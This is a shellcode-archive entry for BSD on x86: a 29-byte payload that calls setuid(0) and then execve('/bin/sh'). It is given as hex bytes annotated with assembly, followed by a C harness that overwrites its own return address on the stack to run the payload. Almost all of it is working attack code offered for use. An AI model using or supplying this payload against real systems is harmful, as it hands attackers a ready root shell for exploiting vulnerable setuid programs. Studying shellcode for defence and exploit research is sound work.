bsd/x86 execve /bin/sh setuid (0) 29 bytes

/*
*BSD version
FreeBSD, OpenBSD, NetBSD.

s0t4ipv6@shellcode.com.ar

29 bytes.

-setuid(0);
-execve(/bin/sh);
*/

char shellcode[]=

"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\xb0\x17" // mov $0x17,%al
"\x50" // push %eax
"\xcd\x80" // int $0x80
"\x50" // push %eax
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x50" // push %eax
"\x54" // push %esp
"\x53" // push %ebx
"\x50" // push %eax
"\xb0\x3b" // mov $0x3b,%al
"\xcd\x80"; // int $0x80

main()
{
int *ret;
printf("Shellcode lenght=%d\n",sizeof(shellcode));
ret=(int*)&ret+2;
(*ret)=(int)shellcode;
}